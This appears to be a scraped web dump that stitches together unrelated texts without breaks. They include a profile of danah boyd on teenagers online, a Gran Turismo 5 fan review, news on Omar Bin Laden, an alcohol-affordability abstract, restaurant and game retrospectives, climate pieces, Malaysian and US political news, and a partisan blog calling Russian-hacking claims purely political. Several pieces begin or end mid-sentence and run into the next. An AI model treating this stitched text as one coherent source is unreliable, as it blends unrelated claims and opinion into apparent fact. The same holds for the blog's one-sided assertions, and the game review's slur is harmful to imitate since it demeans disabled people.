Children naturally congregate on social media sites for the relatively unsupervised conversations, flirtations, immature humor and social exchanges that are the normal stuff of teenage hanging-out, she said.
“We need to give kids the freedom to explore and experience things online that might actually help them,” she added. “What scares me is that we don’t want to look at the things that make us uncomfortable. So rather than see what teenagers are showing us online about bullying and suicide and the problems they’re dealing with and using that information to help them, we’re making ourselves blind to it.”
Photo
These are issues that Dr. Boyd has lived with and knows well.
“At the age of 16, I thought I’d be dead by 21,” she said. “I lost 13 classmates to drug overdoses, suicides, accidents and a murder.”
Her parents divorced when she was 5 and her father largely disappeared. She was raised by her mother, sometimes in straitened circumstances, in Lancaster, Pa. Bored at school, she rebelled — challenging teachers, lashing out at her mother, hanging out with hackers and languishing in school.
“The Internet was my saving grace,” Dr. Boyd said. “I would spend my teenage nights talking to strangers online, realizing there were other smart kids out there.”
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She also often reached out to adults online, many of whom acted as de facto counselors and mentors. Dr. Boyd’s own positive experience on platforms like Usenet and Internet Relay Chat fuels her dismay over attempts to restrict children’s use of the Internet today.
She asks, for example, how teenagers can be encouraged to become politically active when so much of that activity takes place online. And she wonders whether gay children grappling with their sexuality might benefit enormously from chatting online with adults who have been through similar situations.
“There are lots of places where it’s extraordinarily helpful for kids to talk to adults,” she said.
Moreover, grown-ups’ panic about teenage online behavior distracts from the potential benefits. Bullying, Dr. Boyd said, occurs more frequently in schools than on the Internet, and in neither case, according to data she cites, is it on the rise.
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“The most deadly misconception about American youth has been the sexual predator panic,” she said. “The model we have of the online sexual predator is this lurking man who reaches out on the Internet and grabs a kid. And there is no data that support that. The vast majority of sex crimes against kids involve someone that kid trusts, and it’s overwhelmingly family members.”
A teenage girl who has been sexually molested by an uncle and who has nobody she can talk to in her hometown might benefit greatly from communicating with a counselor online.
Despite her own teenage rebellion or perhaps because of it, Dr. Boyd ended up at Brown, where she studied computer science, and at the Media Lab at M.I.T., where she got her master’s. She earned her Ph.D. from the School of Information at the University of California, Berkeley, working at Google, Yahoo and Tribe at the same time.
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She now calls herself an activist and a scholar. Her Twitter handle is “social media scholar, youth researcher & advocate.” She is also working on a long overdue book for Yale University Press, “The Social Lives of Networked Teens.” (The title, she said jokingly, should really be “It’s Complicated.”)
In November she was tapped, along with John Palfrey, a director of the Berkman Center, to run the research arm of Lady Gaga’s Born This Way Foundation, an organization devoted to empowering youth.
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Dr. Boyd’s standard mode of research combines traditional quantitative work with deep ethnographic research — embedding herself in youth communities, whether it’s middle-class Muslim gangs in Nashville or Ivy League aspirants who navigate social media with startling sophistication.
One of her most influential and contentious papers showed that when teenagers transitioned from MySpace to Facebook, a kind of “white flight” occurred, in which Facebook became more associated with children who aspire to college.
By focusing on a range of issues — sexual predation, teenage suicide, bullying, sexting, drug and alcohol abuse, sexual trafficking — Dr. Boyd has shown, often to the dismay of those in the tech community who believe that the Internet is the ultimate equalizer, that issues of race, class and gender persist in the virtual world just as in the real world. The children in families characterized by alcohol and drug abuse, financial stress, divorce and sexual abuse reveal their struggles online just as they do off.
“She was the first to say that the teenagers at risk off line are the same ones who are at risk online,” said Alice Marwick, a postdoctoral researcher at Microsoft who works closely with Dr. Boyd. “It’s not that the Internet is doing something bad to these kids, it’s that these bad things are in kids’ lives and the Internet is just a component of that.”
Most broadly, with troubled teenagers and model youth alike, adolescent online behavior is a reflection of what teenagers’ social lives have always been: friendship, gossip, flirting, transgressing and keeping it all — good and bad — from parents.
One girl Dr. Boyd knows made her Facebook page sound as if she were depressed so that she could use her mental state as a pretext for breaking up with a boyfriend. When a teenager posts the lyrics to a suicidal love song on her Facebook page, her mother may panic while her friends know it’s just a reference to an annoying ex-friend.
“Teenagers try to hide what’s really going on in their communication online,” said Ethan Zuckerman, director of the M.I.T. Center for Civic Media. “Danah is very good at figuring out how to crack those codes. And she’s made a strong case that teenagers are using the Internet in ways that are far more productive and creative and less harmful than people assume.”
Most shocking to adults may be how similar teenagers are to them when it comes to online behavior.
“Teenagers absolutely care about privacy,” Dr. Boyd said, adding that like adults, they share things to feel loved, connected and supported.
“Teenagers are not some alien population,” she said. “When we see new technologies, we think they make everything different for young people. But they really don’t. Teenagers are the same as they always were.”Hello fellow gamers, after getting my game early and having a good 6 hour bash on it i can now share my first impressions with you guys.
Before that i want to state that im a Gran Turismo Fanboy so that kinda shows one person that wanted the game to be faultless was me.
Well lets start by saying ITS NOT ALL GOOD NEWS, personally im disappointed with PD and i know many others will too.
SO lets start with :
Pros :
Graphics
Physics
Damage
Dynamic Weather
Not sure about these last 2.
I'll say this because i have yet to see any damage at all and any dynamic weather aswell so i cant comment on those but if sources are right they are very good.
Now to the things i already found wrong with the game already. (Remember its only MY opinion).
I will try to give reasons why i think these stand out as cons at least IMO.
Cons :
800 Standard Cars
The problem is not them being standard at all, the problem is that they look total *****.When i look at them it reminds me of cardboards drawings just because everything is on and you cant even see where the different parts cant merge together.
Im not trying to sound overdramatic here but they do look awful and when you guys have the game in your hands you will see why.
On top of that they can be race moded and you can add spoilers and that kind of stuff but you CANT change the stock rims so whats even the point of adding a spoilers or other piece of aerodynamic stuff when the aesthetics look all messed up.
Something else worth mentioning is that all standard cars are considered used and they all under ONE car lot which only shows 30 cars at one time and takes few minutes to refresh if i noticed right, so good luck finding the old gem you looking for.
B-Spec
Seriously B-Spec this time round is just retarded, well maybe not the mode but the drivers are.
Basicly its B-Spec from GT4 only difference is you have a bit more info to look at, you can choose the camera style you would like, you also gotta make/hire a driver call it what you will and then when it comes to racing you have 4 an ALMIGHTY 4 inputs :
Slower Pace
Maintain Pace
Increase Pace
Overtake
Now that wouldnt be a problem until you try to figure out how to calm down your driver because he is very angry for some reason.
If you dont calm him down you can kiss your race goodbye because he will commit mistake after mistake and nothing you can do.
Remember the very first cup of GT4, well he cant even win the FIRST race of the same FIRST CUP.
On top of that polyphony increased laps for B-spec so expect to do an average of 4-6 laps per race at the beggining and increasing has you open further cups.
Now the biggest annoyance of all...WAIT FOR IT... They TOOK OUT the SPEED UP FUNCTION in B-Spec so you gotta sit and watch 6 laps of your moronic driver making mistakes.
Premium Cars
Now most people are thinking why i have something against premium cars.
Nothing really, they look beatiful and theres around 200 of them but you wont be using many of them any time soon, plus theres not really 200 different cars...About 10 to 20 are Nascar cars, then you have 2 F1 cars and a few rally so you know now that theres nowhere near 200 different cars and like i said you wont be using most of them anytime soon unless you save ALOOOT.
Most of the premium cars are very expensive but on top of that now require a level (A-Spec Level) to be bought.
So if you level 0 as you start and you want a goodish car you either have to go for standard cars or buy premium cars that are not even worth having.
The only one i saw and bought was the honda civic, because i didnt have any money and i didnt have the level to buy them.
But dont worry polyphony found a way to make you increase your level before starting your progress in Gt Mode Cups.
DO SOME LICENSES...AND SOME KARTING...AND SOME NASCAR SCHOOLING BY JEFF GORDON.
The last of the begginer challenges before you reach level 5 is the Top Gear challenge which is actually some fun.
I think thats it for now, i had more in my head but with all the writting i forgot.
IMO i think this game does not reach the standard it was suppose to.
If they spend less time you nascar schooling bull***** challenges and s making premium nascar cars and actually made some more premium cars which are at this present time considered standard and look like ***** maybe GT5 would have been the game everyone was expecting.
Of course thats not all 20 tracks with different variations.Where are the missing tracks that were in GT4?
Why spend about 6 months making the new Red Bull car they put into the game when more things needed some attention?
Why make Prologue when the actual GT5 Real Driving Simulator needed more time invested into it.
They wanted to make the PERFECT GAME but they forgot the basics in the midst of this.
DO NOT TOUCH WHAT ISNT BROKEN
Nearly 6 years and still feels like an incomplete game.
Oh well still not a bad game but its far from perfect.
Thanks for reading and sorry for my poor grammar.
P.S - Will be answering questions when i can about the game.Mr Bin Laden says he has not spoken to his father for eight years One of Osama Bin Laden's sons is in Qatar after being deported from Egypt and Spain following failed asylum bids. Omar Bin Laden, 27, has said he does not share his father's views and has not seen him since 2000. His British wife, Zaina Alsabah Bin Laden (formerly Jane Felix-Browne) said their condemnation of al-Qaeda had put their lives in danger in the Mid-East. Their legal status in Qatar was not known. They have also been unsuccessful in securing British visas. Mr Bin Laden, one of the al-Qaeda leader's 19 sons, made his claim for asylum in Madrid during a stopover on a flight from Egypt to Morocco with his 52-year-old wife. We have finally found somewhere where we can stay and we thank the government - we cannot thank them enough
Zaina Alsabah Bin Laden He said the petition was rejected due to "insufficient evidence of danger or threat to [his] life". An appeal against the ruling is also believed to have been rejected. The couple were then barred from entering Egypt, where they have lived for the past year. It was not known why Egypt denied them entry. Officials at Cairo airport said the pair were deported to Qatar, where Mr Bin Laden, who has Saudi nationality, should normally have the right to live. "We have finally found somewhere where we can stay and we thank the government. We cannot thank them enough," Mr Bin Laden's wife was quoted by AFP news agency as saying. Omar Bin Laden, a metals trader, says he has urged his father to give up violence and has not seen him for eight years. Mrs Bin Laden says his life is in danger because he "stands up and asks for peace".
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BACKGROUND: The affordability of alcoholic beverages, determined by the relationship of prices to incomes, may be an important factor in relation to heavy drinking, but little is known about how affordability has changed over time.
PURPOSE: To calculate real prices and affordability measures for alcoholic beverages in the U.S. over the period from 1950 to 2011.
METHODS: Affordability is calculated as the percentage of mean disposable income required to purchase 1 drink per day of the cheapest spirits, as well as popular brands of spirits, beer, and wine. Alternative income and price measures also are considered. Analyses were conducted in 2012.
RESULTS: One drink per day of the cheapest brand of spirits required 0.29% of U.S. mean per capita disposable income in 2011 as compared to 1.02% in 1980, 2.24% in 1970, 3.61% in 1960, and 4.46% in 1950. One drink per day of a popular beer required 0.96% of income in 2010 compared to 4.87% in 1950, whereas a low-priced wine in 2011 required 0.36% of income compared to 1.05% in 1978. Reduced real federal and state tax rates were an important source of the declines in real prices.
CONCLUSIONS: Alcoholic beverages sold for off-premises consumption are more affordable today than at any time in the past 60 years; dramatic increases in affordability occurred particularly in the 1960s and 1970s. Declines in real prices are a major component of this change. Increases in alcoholic beverage tax rates and/or implementing minimum prices, together with indexing these to inflation could be used to mitigate further declines in real prices.
Copyright © 2013 American Journal of Preventive Medicine. Published by Elsevier Inc. All rights reserved.#Distractinglysexy Tweets Are Female Scientists' Retort To 'Disappointing' Comments
A Nobel-winning biochemist's announcement that he has "trouble with girls" in labs because they either cause romantic sparks or start crying when criticized ignited wide condemnation. And as a barrage of tweets shows, the responses of many female scientists are neither silent nor unfunny.
If you're catching up, British scientist Tim Hunt, 72, made the remarks at an international conference in South Korea, where he reportedly said, "You fall in love with them, they fall in love with you and when you criticize them, they cry."
On Wednesday, Hunt apologized — to an extent — and resigned his honorary professorship at University College London.
When asked for her reaction to the case, here's what Paula Sacco Bubulya, the associate chair of biological sciences at Wright State University, told us:
"Science is a collaborative venture, not unlike most any job where everyone in the 'office' works toward a common goal. It's disappointing to all scientists, men and women alike, that a leader in cell biology would make statements specifically denigrating toward women scientists, and then escalate the situation by following with insincere apologies."
In the wake of Hunt's remarks early this week, the burgeoning hashtag #distractinglysexy has drawn thousands and thousands of tweets — and it continued to burgeon Friday.
"Twitter feeds were instantly populated with images of 'distractingly sexy' women scientists clad in full-coverage biohazard suits," Bubulya says, "sometimes treating lab equipment with extra affection — all in good fun, of course."
Women who work in science are using the hashtag both to set the record straight and to joke about Hunt's notion that they live under a constant threat of either tears or a broken heart.
Doctors; researchers; scientists — they all sent out messages and images that juxtapose Hunt's dramatic trio of predictions to the actual work they carry out, from the unglamorously mundane to the complexly important.
The reaction even spurred the creation of a T-shirt.
Bubulya says she's sure that Hunt's views place him in the minority among his peers. Now, she says, it's time to turn away from distractions "and go back to focusing on what we all do best — perform experiments, write grants, and submit manuscripts!!"Itsu is a Japanese-inspired chain of some 40 takeaways and a brace of proper restaurants that are scattered across London’s financial district with a few outliers, including one in Oxford. Itsu – which is a Japanese prefix meaning “when” – was founded by Julian Metcalfe, who is also responsible for Pret A Manger, so you get the semantic synonymy.
I ate in a branch of Itsu near St Paul’s a couple of weeks agoD and for some perverse reason I so enjoyed the experience that I returned to see whether I had been suffering from a hallucination: the decor had seemed so pleasing, the service so light-touch and the food so deliquescent.
I had been hallucinating – on second pass, Itsu was just another fast-food joint with a shtick devised to part office porkers from their readies.
I suppose it is interesting to ruminate on this strange fact along with one’s Itsu salad box: that over the past 15 years or so, simulacrums of Japanese eateries have come increasingly to dominate British high streets, much as replicants of human beings will doubtless vault the boulevards of Los Angeles come the end of this decade. In City of Quartz, his fine work on the psychogeography of LA, Mike Davis hypothesises that the Asiatic hordes teeming through Ridley Scott’s Blade Runner were a sublimation of the anxiety felt by Hollywood during the early 1980s as more and more prime downtown real estate was snaffled up by the Japanese. Fair enough, yet this doesn’t really explain why British quants and financial traders are now so enamoured of rice noodle soup and sushi selections – unless, that is, they believe that by eating Japanese they will magically ward off the deflation that has bitten down on the once-tiger economy for the past 25 years.
The Itsu philosophy (if we can sully the word) is to respond to “years of listening and reacting to customer feedback” by “creating a low-calorie menu for the upbeat and the active”. But am I alone in detecting a contradiction here? The last thing the active and upbeat require is “butterfly-light, low-fat, nutritsu food”; I mean, if you’re properly active you can get away with more or less limitless stodge. As for the grim coinage “nutritsu”, this is of a piece with other bits of babyish signage stuck up in Itsu – ask not for a noodle pot but a “noodle potsu”, and (most yucky this) you might like to sluice it down with an “itea”. Combine with the life-size sepia shots of etiolated Japanese maidens in itsu-bitsy bikinis that adorn the walls and you get the picture: Itsu is aimed not so much at the high, male end of the City feeding chain but at female secretaries and keyboard rifflers whose sedentary drudging is – they quite reasonably worry – turning them to sludge.
On beige-vinyl-covered stools held aloft by mirror-shiny aluminium poles, with one’s Hello Kitty handbag shackled to the underside of the table by a purpose-designed strap (handy, that), you can squirt soy sauce from one of those dear little individual plastic bottles into one of those dear little individual plastic trays, then mix in the wasabi with the tip of your chopstick. Mm, it’s all so... diminutive. On reflection, I think it is this aspect of Japanese culture that most appeals to us at an unconscious level: the saccharine infantilising of the bitter pill of machine ordered conformity. We may have to work all the hours Mammon sends, but at least we can have our lunch break in cute surroundings, our fair cheeks brushed by the wings of the Itsu butterfly logo.
In fact, the food at Itsu is perfectly all right. Even close to closing time on a gloomy October evening the salad still had some bounce in it and the sushi some bite. As for the miso soup – which Metcalfe has insinuated on to the shelves at Sainsbury’s – it was a wholesome mixture and looked, as good miso soup should, like the beginnings of an attempt to see if life can be synthesised in a laboratory.
In a way, I find this most disturbing of all: that food should be subject to the most ruthless commoditisation under late capitalism is only to be expected, but that we should for one second allow ourselves to enjoy it is a miserable and gut-wrenching experience. Every time I find myself savouring under such circumstances, I double-take, remembering Winston Smith looking up from the table at the Chestnut Tree Café to see the implacable face of Julian Metcalfe – sorry, I mean “Big Brother” – staring down at him, and returning that dictatorial gaze with... love.“Global warming my gluteus maximus,” wrote former Alaska Governor Sarah Palin in an infamous 2013 Facebook post, in which she argued that climate change wasn’t real because it had snowed in her home state in May. Now, Palin and fellow climate change deniers — like Republican presidential nominee Donald Trump, US Senator Ted Cruz, the billionaire Koch Brothers, New Jersey Governor Chris Christie, and others — have become Climate Inaction Figures: toys modeled after prominent public figures who claim, despite overwhelming evidence to the contrary, that there’s no need to act against global warming.
Conceived by creative directors Cabot Norton and Arturo Aranda, the figures were sculpted by Ridgewood, New York–based artist Nao Matsumoto, a self-proclaimed “toy geek.” “Each character represents a conflict between fact and fantasy,” Matsumoto told Hyperallergic. Working with a team of digital sculptors, Matsumoto first prepped and molded the figures in silicone, for the purpose of casting multiple pieces. The toys were then cast in urethane resin and hand-painted. The process involved lots of tiny disembodied limbs and torsos scattered around the studio, as well as the miniature heads of prominent Republicans drying on popsicle-stick-like stakes. The figures will soon be available as freely downloadable and printable 3D files.
Scarier than any Marvel Comics villain, the toys are packaged and branded like classic action figures, including a commercial complete with stoked little boys and a macho voiceover. Each Inaction Figure comes with a “fact-defying accessory”: Palin holds an oil drill; James Inhofe, chairman of the US Senate Committee of Environment and Public Works, wields a spiked snowball; Senator Ted Cruz wears a shield to “repel the forces of science.” Each one also has a “Denial Power Level” ranking — Trump’s, for example, is “Yuge.” And a few come with commemorative gold coins inscribed with infamous denial quotes, like Inhofe’s declaration that global warming is “the greatest hoax ever inflicted on the American people.”
The toys bring some welcome satire to the apocalyptically serious conversation surrounding climate change. “I believe that humor is the most powerful communication tool,” Matsumoto says. “Dropping the viewer’s guard with a dosage of humor, inviting them in and captivating the audience with a meticulously thought-out and well-executed presentation is my ideal way of communicating as a creative.” While highlighting the disturbing anti-science views of prominent people — which can often get buried in political rhetoric and self-justification — the toys also make that information weirdly fun.
The Climate Inaction Figures were made with in partnership with the Years Project, which focuses on practical solutions to climate change, like solar and wind energy, improved building methods, and putting a price on carbon. Led by Joel Bach and David Gelber, the Years Project is the group behind Years of Living Dangerously, an Emmy-winning documentary series about how we can act on those solutions. (The series’ second season will air this fall on the National Geographic Channel.)
“We’re realistic about the impact that any one campaign can have,” says Cabot Norton. “The debate is not suddenly going to end because of what we’re doing. But we do hope that by providing another way to talk about the issue and creating more support for taking action, we can help nudge the conversation to a point where our elected officials are forced to take action.”
Speaking of taking action, we couldn’t help but wonder: who would win in a fight, Climate Inaction Figures or classic action figures from our childhood? “It’s worth noting that even though the arms and legs look like they’re articulated, they don’t actually move — for maximum inaction!” says Norton. So, while these Inaction Figures might crush environmental legislation in the House and Senate, in a toy chest battle against the likes of Batman and Spawn, they would not stand a chance.The gunning down of a Malaysian opposition politician follows his campaigning for indigenous land rights
By Beh Lih Yi
A Malaysian opposition politician who had campaigned for indigenous land rights was shot dead on Tuesday.
Bill Kayong was gunned down in his pickup truck when he stopped at a traffic light in the city of Miri, in the eastern state of Sarawak, according to his party, the opposition People's Justice Party.
The motive for the killing was not immediately clear.
Kayong, who is a Dayak, one of the many indigenous tribes in Sarawak, had fought for native people and their land rights, including when he stood as an opposition candidate in the Sarawak state elections last month.
"He has always campaigned on issues that are close to the heart of the Sarawak people, including the issue of native customary rights, which he constantly raised during the state elections," his party adviser Anwar Ibrahim and president Wan Azizah Wan Ismail said in a joint statement.
Kayong lost in the May 7 state election, in which the ruling Barisan Nasional coalition scored a landslide victory.
Indigenous land rights have been a contentious issue in Sarawak, part of the vast island of Borneo which is shared between Malaysia, Indonesia and Brunei.
Activists have long blamed the rapid expansion of palm oil plantations, rampant logging and a wave of dam-building for causing environmental damage and displacing indigenous people.
Tribespeople have staged protests in the past, and have set up road blockades in a bid to stop some mega-projects.
(Reporting by Beh Lih Yi @behlihyi, Editing by Emma Batha. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, property rights and climate change. Visit http://news.trust.org)
Our Standards: The Thomson Reuters Trust Principles.President Obama will accept unlimited donations from corporations — but no money from lobbyists or political action committees — to finance his 2013 inaugural festivities, a spokeswoman for his inaugural committee said on Friday.
The move is a break from Mr. Obama’s policy in 2009, when he refused corporate donations for activities related to the inauguration. The committee also said the events surrounding Mr. Obama’s inauguration will be smaller in scope than four years ago; the White House is mindful of the fragile state of the economy and does not want a show of opulence.
“Our goal is to make sure that we will meet the fund-raising requirements for this civic event after the most expensive presidential campaign in history,’’ the spokeswoman, Addie Whisenant, said in a statement, explaining the reason the committee will take corporate money.
She added that the names of donors would be posted to a regularly updated Web site “to ensure continued transparency.”
The issue of whether the Presidential Inaugural Committee, known as the P.I.C., would accept corporate money to pay for the parade, balls and other inaugural festivities has been a thorny one for Mr. Obama. Companies that donate money may have business before the White House, raising questions of conflict of interest.
The committee has some guidelines for the type of corporate money it will accept, an official said. Corporations that accepted money from the government’s Troubled Asset Relief Program, or TARP, used to rescue the financial system during the economic meltdown of 2008 and 2009, will not be able to donate unless they have paid back the TARP money.
In addition, the committee said it would not enter into any sponsorship arrangements with companies. And, in accordance with laws governing contributions to an inaugural committee, the panel will not accept money from foreign individuals or corporations.If we really want to cut down on global greenhouse emissions, we’re going to have to do something about cow farts*.
That’s the conclusion of a study published today in the journal Climatic Change. If we have any shot of reaching the Intergovernmental Panel on Climate Change’s global-warming mitigation goals, the world is going to have to start eating a lot less meat.
Thirty-seven percent of all human-caused methane emissions come from the worldwide agricultural industry. Compared with CO2, methane is 21 times more effective at trapping heat in the earth’s atmosphere, according to the United Nations. While transportation and electricity account for more than half of emissions in the United States, the EPA reports that agriculture comprises 8 percent of all greenhouse-gas emissions. And while relatively small, that’s a significant contribution that can’t be ignored — especially considering how progress in halting emissions from transportation has so far been minimal.
“In order to have any chance to reach a 2 degree target, fossil-fuel use has to be reduced drastically,” Fredrik Hedenus, the study’s lead author, wrote in an email. “However, what we show is that may not be sufficient, as the agricultural emissions … may be too high. Thus we have to take action in both sectors.” Transportation and energy are the biggest sources of greenhouse gases, but researchers say a global shift in people’s diets is also necessary to contain climate change.”We therefore conclude that dietary changes are crucial for meeting the 2 degree C target with high probability.”
So, how much less meat do we have to eat?
“It all depends how much we can and want to do in the energy sector,” Hedenus explains. “If we do a lot there it may be sufficient with a 25 percent lower meat and dairy consumption than predicted in 2070. If we do less, somewhere around 75 percent less may be reasonable.”
If 25 percent to 75 percent less meat consumption worldwide sounds like an absurd long shot, it is. Global meat demand only continues to rise, as fueled by China and the developing world. Meat consumption in the United States has actually declined in recent years, explains Emily Adams, a researcher with the Earth Policy Institute. “Meat consumption peaked in the United States as a nation in 2007 and since then it has fallen 4 percent,” Adams says. “That’s not a 75 percent reduction like they are talking about, but that’s coming without government fiat or absolutely insane food prices.”
But while meat consumption in the United States has fallen, that’s a small drop compared with the rising demand in China.
Also Monday, the IPCC released its latest progress report on climate change, finding that “global climate-change risks are high to very high with global mean temperature increase of 4 degrees C or more above preindustrial levels … and include severe and widespread impacts on unique and threatened systems, substantial species extinction, large risks to global and regional food security, and the combination of high temperature and humidity compromising normal human activities, including growing food or working outdoors in some areas for parts of the year.”
The reports are getting scarier, and papers like Hedenus’s underscore how, if we’re really going to attenuate the rate of climatic change, we’re going to need severe changes in our culture. Electric cars may come to replace conventional ones, but they’ll still be cars. Getting people to change their diets will require a global change in thinking and behavior.
The study’s authors aren’t exactly optimistic about this hard fact.
“Substantial deviations from current dietary preferences are unlikely and would probably occur only as a result of policy interventions,” they write. “However, policy-driven dietary changes are contentious and would almost certainly emerge only after productivity improvement and technical measures largely have been exhausted.”There are so many angles to this political storyline it’s almost impossible to encapsulate them. Today a Politico article reveals the John McCain/Lindsey Graham push to create an international crisis with Russia has found push-back from an unlikely source, Senate Leader Mitch McConnell.
(Politico) John McCain and Lindsey Graham are backing off of their push for a select committee on cybersecurity after Russian interference in the election, bowing to the political reality that the Senate Republican Conference largely does not back their idea.
[…] “We’re just going to move with the individual committees and see how that works. If it doesn’t work, we’ll regroup,” [Lindsey] Graham said in an interview.
[John] McCain said he’d spoken to Senate Majority Leader Mitch McConnell (R-Ky.) about the matter. McConnell prefers to use the Intelligence Committee to spearhead the cyber investigation, and McCain said their discussions had done little to move the GOP leader. “He said he doesn’t think we need it,” McCain said. (more)
The House Intelligence Committee Chairman Nunes, has already clearly stated the insufferable intelligence claims of John Brennan (CIA) and James Clapper (ODNI) just simply don’t make sense.
Additionally, Nunes highlighted how neither intelligence group was willing to make their case of “Russian Hacking” on-the-record to the House Permanent Committee on Intelligence.
The intellectually honest observer would note that Brennan and Clapper’s refusal to give testimony on this issue is transparent evidence of their claims being purely political in motivation. The generalized FBI report outlining vague and disingenuous cyber-hacking overall, is further evidence of the lack of substance to the Clapper/Brennan construct.
In short, there simply is no “there” there.
Nunes, as Chairman of the House Committee, is one of the Intelligence Gang of Eight members, so too is Mitch McConnell, Paul Ryan and Senate Intelligence Committee Chairman Richard Burr:
Senate Leader Mitch McConnell is the only remaining GOP member on the Gang of Eight from the time of the Libya and Syria Clinton/Panetta Benghazi fiasco. This fact is tangentially related to his current position.
If President Trump decides to go full swamp |
’t go away, and this dreadful feeling that there is no way out of this for my people. That our enemies are evil to the core and the universe is indifferent.
I don’t even know how to end this piece.
I don’t know what there is left to say.
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Mia McKenzie is an award-winning writer, a speaker, and the creator of Black Girl Dangerous.
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Do not republish anything from this site without express written permission from BGD. For more info, go here.Wait. Wait. I know you've played this game. In fact, I hope you've played this game. I hope you've played both Earthworm Jim games, and you love them to death.
I also hope, however, that you don't realize just how original, unusual, and cross-genre the sequel to Earthworm Jim really was. If you can truly fathom just how incredibly clever the mishmash of puzzle solving, platforming, action, racing, and old Game and Watch titles that comprise the entirety of Earthworm Jim 2 are, then this forgotten game article might feel a little bit redundant.
However, I feel relatively confident that the majority of those who have played Earthworm Jim 2 really don't understand just how incredible it is. A side-scroller that refuses to stay in one videogaming genre for more than a level at a time, Earthworm Jim 2 is a classic, by any standards.
A few weeks ago, I said that my three favorite SNES platforming games were Super Mario World, Donkey Kong Country, and Aladdin. The only reason Earthworm Jim 2 isn't at the very top of that list -- and I do mean the only reason -- is the fact that to call Earthworm Jim 2 a simple platforming game would be like calling Scarlett Johansson "kind of attractive."
Hit the jump for the deets.
Story:
Following the defeat of Queen Slug-for-a-Butt in the first EWJ title, Jim looks to settle down for a nice marriage to Princess What's-Her-Name. Unfortunately for Jim, however, the evil Psy-Crow kidnaps her before the two can tie the knot.
Assumedly, Psy-Crow intends to marry Princess What's-Her-Name after kidnapping her (the last level is a literal race to the altar between Jim and Psy-Crow), but why he doesn't just immediately marry What's-Her-Name after kidnapping her is beyond me.
Either way, Jim and his newfound (totally unexplained) sidekick, Snott are forced to race across the cosmos to get What's-Her-Name back before Psy-Crow can marry her.
Gameplay:
The first Earthworm Jim was pretty damned fun, I'll give you that. The controls were tight, the humor was great, and the platforming was fun -- but what really made the first EWJ title stand out from other 2D platformers of the day were its zany, almost minigame-esque levels.
There were only a few of these unusual stages, but levels like "Snot a Problem," wherein Jim and Major Mucus duel each other whilst bungee jumping, or "For Pete's Sake," where Jim has to protect Pete the Puppy from danger, really helped break up the gameplay and give the player something truly original in what could have otherwise been a pretty monotonous action-platformer.
What makes Earthworm Jim 2 so great is that it is comprised almost entirely of levels like this. Looking at each level in the game individually:
Anything But Tangerines
While a typical platforming level in most respects, Anything But Tangerines includes a few pretty awesome moments. The hidden Granny Bonus Level, where Jim has to ride a stair lift and dodge falling grannies, is an exercise in absurdist brilliance. The pig puzzles, where Jim has to grab and move hogs to defeat enemies and open up passageways, set the stage for the slightly-more-elaborate cow puzzles to come in "Udderly Abducted." The end-level boss fight -- if it can even be called that -- is a slice of referential irony, as Jim squares off against Bob the Evil Goldfish in what at first seems to be a Mortal Kombat-style faceoff (the word "FIGHT" flashes on the screen a few times), but turns out to be abruptly cut short when Jim simply yanks Bob from his bowl and eats him.
Lorenzen's Soil
Finding himself in what seems to be a gigantic ant farm, Jim has to use his blaster (now modified with unlimited ammo for the purposes of obliterating dirt) to dig himself from one end of the level to another. What makes this level so memorable is how wonderfully deep the blaster-digging mechanic is: just by shooting at a clump of dirt (and I use the word "clump" mildly -- pretty much the entire level is filled to the brim with dirt), the dirt will gradually wear away (thus clearing a vertical path Jim can use to progress through the level) and accumulate on the ground below (thus raising the height of the floor and giving Jim a progressively higher platform he can jump from). In all honesty, the mechanic works so well that they could have easily based an entire game around it. For Earthworm Jim 2, however, it's just another intelligent and unusual level in a game chock-full of 'em.
Puppy Love
This repeating level is basically a retooled version of that old Game and Watch classic where the firemen have to use a trampoline to bounce falling babies from one side of the screen to another. Of course, you'll have to replace "firemen" with "Earthworm Jim," "babies" with "puppies," and "trampoline" with "Giant Marshmallow O' Love." Additionally, Jim doesn't choose to rescue the puppies simply out of the goodness of his heart so much as the fact that if he lets more than five hit the ground in one stage, Peter the Puppy turns mad with rage and knocks off about half of Jim's health bar. The level is slightly disturbing, to be honest -- if Jim doesn't catch a puppy, it hits the ground and splats into yellow goop. This mildly unsettling image is set off by the fact that the level is scored to a classical Italian opera song whose name totally escapes me at the moment. The Grape Escape commercial ripped it off. The title will come to me eventually.
Villi People
Jim, inexplicably disguised as a blind cave salamander, has to float through a cave and/or human intestinal track, avoiding exploding sheep and the deadly villi that line the walls of the level. Upon reaching the end of the stage, Jim participates in what may very well be the most nonsensical trivia game in the history of videogaming -- the questions make no sense ("Can Jim speak French?"), and factually correct answers are never right. The whole level is rounded out with one big game of Simon played on a bunch of oversized pinball bumpers.
Oh, and the entire level is set to Beethoven's Moonlight Sonata. Which is absolutely awesome.
The Flyin' King
The game suddenly switches to a 3/4 top-down isometric viewpoint. Jim, now riding his turbine-shaped spaceship, has to manuever a large bomb from one end of the level to another whilst avoiding cannon fire, snot rockets, and catapulted pigs -- and he's gotta do it all without accidentally shooting the bomb and ending the level.
Udderly Abducted
In an almost nonlinear level, Jim has to grab cows and drop them off at milk gates (the door open once enough milk has been sucked from the cows), all while avoiding evil penguins, abduction-happy UFOs, and the occasional exploding bovine (dip them in the enormous bath to stop the fuse!).
Inflated Head
After ingesting helium for no good reason, Jim's head inflates to ten times its original size and he begins to uncontrollably float upward through a level filled with a metric asston of pointy objects that can easily pop Jim's cranium and send him plummeting back to the beginning of the level. Adding to the difficulty is Evil the Cat, who occasionally pops out of nowhere and either tries to divebomb Jim with his claws outstretched (difficult to dodge), or pop his dome from afar with a blowgun.
ISO 9000
Jim runs through a world of evil accountants, hamsters inside symbolic, spherical cages, and literally climbs mountains of paperwork. Functionally, the level is a totally standard platforming stage, but the incredible visuals (tax forms blow around in the background, and the entire level feels like an accounting-heavy dystopia) and unusual score by Tommy Tallarico give the level a very stark, surreal quality. That, and the end-level "boss" is one of the most unusual I've ever seen in a game.
Level Ate
Earthworm Jim versus Junk Food. Whether you're using pepperoni slices as platforms while traversing a deadly pizza, jumping over pointy forks, or running from a gigantic, sentient salt-shaker (defeat it by running past a snail -- the salt shaker, working on instinct, will get distracted and attack the snail instead of you), the level is a hell of a lot of fun. And more than a little hunger-inducing.
See Jim Run, Run Jim Run
